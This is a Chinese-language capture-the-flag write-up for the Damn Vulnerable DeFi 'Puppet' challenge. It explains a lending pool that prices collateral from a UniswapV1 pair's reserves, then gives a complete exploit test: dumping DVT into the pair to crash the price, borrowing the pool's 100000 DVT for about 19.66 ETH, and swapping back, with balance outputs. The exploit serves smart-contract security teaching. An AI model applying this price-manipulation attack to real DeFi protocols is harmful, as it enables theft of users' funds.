該死的易受攻擊的 DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。
題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/8.html
題目描述:
有一個借貸池提供 DVT 代幣的借貸服務,但需要先存入兩倍價值的 ETH 作為抵押物。現在這個池子裡有 100000 個 DVT。
UniswapV1 現在有交易對 ETH-DVT,且有 10 ETH 和 10 DVT。
現在你有 25 個 ETH 和 1000 DVT。你需要竊取借貸池中的所有代幣。
借貸合約 PuppetPool.sol
提供的借貸的功能如下
// 借出 DVT,但前提是存入兩倍價值的等額 ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
// 計算需要存入的 ETH 數量
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");
// 返還多存的 ETH
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
// 保存 msg.sender 存入的 ETH 數量
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// 將 DVT token 傳給 msg.sender
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
該方法主要做了以下幾件事:
- 根據借出的
DVT
數量,計算需要存入ETH
的數量depositRequired
- 確保調用時存入的
ETH
數量是大於depositRequired
,如果存入的多了,會返還差值。 - 保存存入的
ETH
數量,並借出DVT
計算需要存入 ETH
的數量是根據 uniswapv1 中配對合約 ETH-DVT
的流動性來計算。這裡先簡單介紹下 uniswapv1
中的合約及其方法。
共有兩種合約:
-
Factory
工廠合約,用來創建並部署配對合約。核心方法是createExchange(token: address): address
用來創建ETH
對token
的配對合約並部署,返回配對合約地址。 -
Exchange
交易合約,也叫配對合約。在 v1 版本中只有ETH
對Token
的交易對,不存在Token
對Token
的交易對。
當通過工廠合約創建了配對合約後,便能調用方法 addLiquidity
向其中添加流動性,也就是將 Token
和 ETH
存入到配對合約中,同時流動性提供者會獲得 LP token
作為提供流動性的憑證。
@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256
調用該方法時,除了參數外還需要發送 ETH
,參數詳解如下:
min_liquidity
流動性提供者期望獲得的最少的LP token
數量,如果最後獲得的小於該值,則交易會回滾max_tokens
流動性提供者想要提供的最大代幣數量,如果計算得出的代幣數量大於該值,而又不想提供時,則交易回滾deadline
提供流動性的截止時間
當配對合約中有了流動性,其他交易者便能進行交易。不同於中心化交易所,交易價格由訂單簿的最新成交價確定。uniswap
中的交易價格是根據恆定乘積公式計算的
其中 和 是配對的兩個幣種的儲備量。
假設有配對合約 ETH-USDT
,其中 ETH
有 10 個作為 ,USDT
有 100 個作為 。則
此時要出售 個 ETH
, 得到 USDT
的數量為 。也就相當於池子中 ETH
的數量變為 ,根據恆定乘積公式:
同理出售 個 USDT
,得到 ETH
數量為
這是在沒有手續費的情況下的計算公式,但通常情況中會收取 0.3% 的手續費,並根據流動性提供者所持有 LP token
的比例分配。
在存在手續費的情況下,要出售 個 ETH
,相當於實際出售的 ETH
數量是 ,uniswap
為了計算方便,將分子分母同時乘以 1000。
在 uniswap
的 v1 版本中提供了幾個方法用於查詢價格
getEthToTokenInputPrice(eth_sold: uint256): uint256
輸入賣出的ETH
數量,返回得到的token
數量getTokenToEthOutputPrice(eth_bought: uint256): uint256
輸入要買的ETH
數量,返回需要給出的token
數量getEthToTokenOutputPrice(tokens_bought: uint256): uint256
輸入要買的token
數量,返回需要給出的ETH
數量getTokenToEthInputPrice(tokens_sold: uint256): uint256
輸入要賣的token
數量,返回得到的ETH
數量
兌換相關方法如下:
ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256
用ETH
兌換token
:min_tokens
是期望得到的最少的token
數量。如果調用該方法時發送的ETH
數量不足以兌換期望的token
數量,則交易失敗。如果足夠,則全額兌換並執行交易。函數返回值為可兌換的token
數量。ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256
用ETH
兌換token
:調用該方法時發送ETH
用以兌換tokens_bought
數量的token
, 如果發送的ETH
數量過多,則會返還多餘的數量,函數返回值為實際出售的ETH
數量tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256
用token
兌換ETH
tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256
用token
兌換ETH
再回到題目中,借貸合約 PuppetPool.sol
中計算需要存入的 ETH
數量的方法 calculateDepositRequired
// 計算需要存入的 eth 數量
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// 抵押物的價值 = 借出的數量 * 價格 * 2
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
// 計算每個 token 的價值等同於多少 ETH
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
從代碼中可以看出,token
的價值來自於 uniswap
配對的兩個幣種的儲備量。
假設有配對合約 ETH-UNI
,其中有 100 個 ETH 和 10 個 UNI ,則 1 UNI 的價值等同於 10 ETH,即每個 token
價值等於 ,如果能夠增加分母的值或減小分子的值,則會降低每個 token
的價值。
已知條件中黑客持有 25 個 ETH 和 1000 DVT,因此可以用黑客持有的 1000 DVT 去兌換 ETH,此舉會大大增加分母的值並減小分子的值。也就意味著 DVT 的價值會變得很低。
之後再去進行借貸,需要抵押的 ETH 將只需要很少的數量。最後再從 uniswap
中重新兌換回 DVT
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallUniswap = this.uniswapExchange.connect(attacker)
// 授權 uniswap 支配 attacker 的 DVT token
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
// 初始餘額
// attacker: ETH balance => 25
// attacker: DVT balance => 1000
// uniswap: ETH balance => 10
// uniswap: DVT balance => 10
// 在 uniswap 中使用 DVT 兌換 ETH
await attackerCallUniswap.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('1'),
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// attacker: ETH balance => 34.900571637914797588
// attacker: DVT balance => 0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010
// 計算需要抵押的 ETH 數量
const collateralCount = await attackerCallLendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
// 借出 DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: collateralCount
})
// collateralCount = 19.6643298887982
// attacker: ETH balance => 15.236140794921379778
// attacker: DVT balance => 100000.0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010.0
// 計算從 uniswap 兌換 ATTACKER_INITIAL_TOKEN_BALANCE 數量的 DVT 需要多少 ETH
const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// payEthCount = 9.960367696933900101
// 兌換 DVT
await attackerCallUniswap.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{
value: payEthCount,
gasLimit: 1e6
}
)
// attacker: ETH balance => 5.275716174066780228
// attacker: DVT balance => 101000.0
// uniswap: ETH balance => 10.059672562872331085
// uniswap: DVT balance => 10.0
})
攻擊者利用 uniswap
操縱價格,用 19.6643298887982 ETH 作為抵押物成功借出了 100000 DVT。而如果直接借的話,則需要付出的成本為 200000 ETH
最後執行 yarn puppet
測試通過!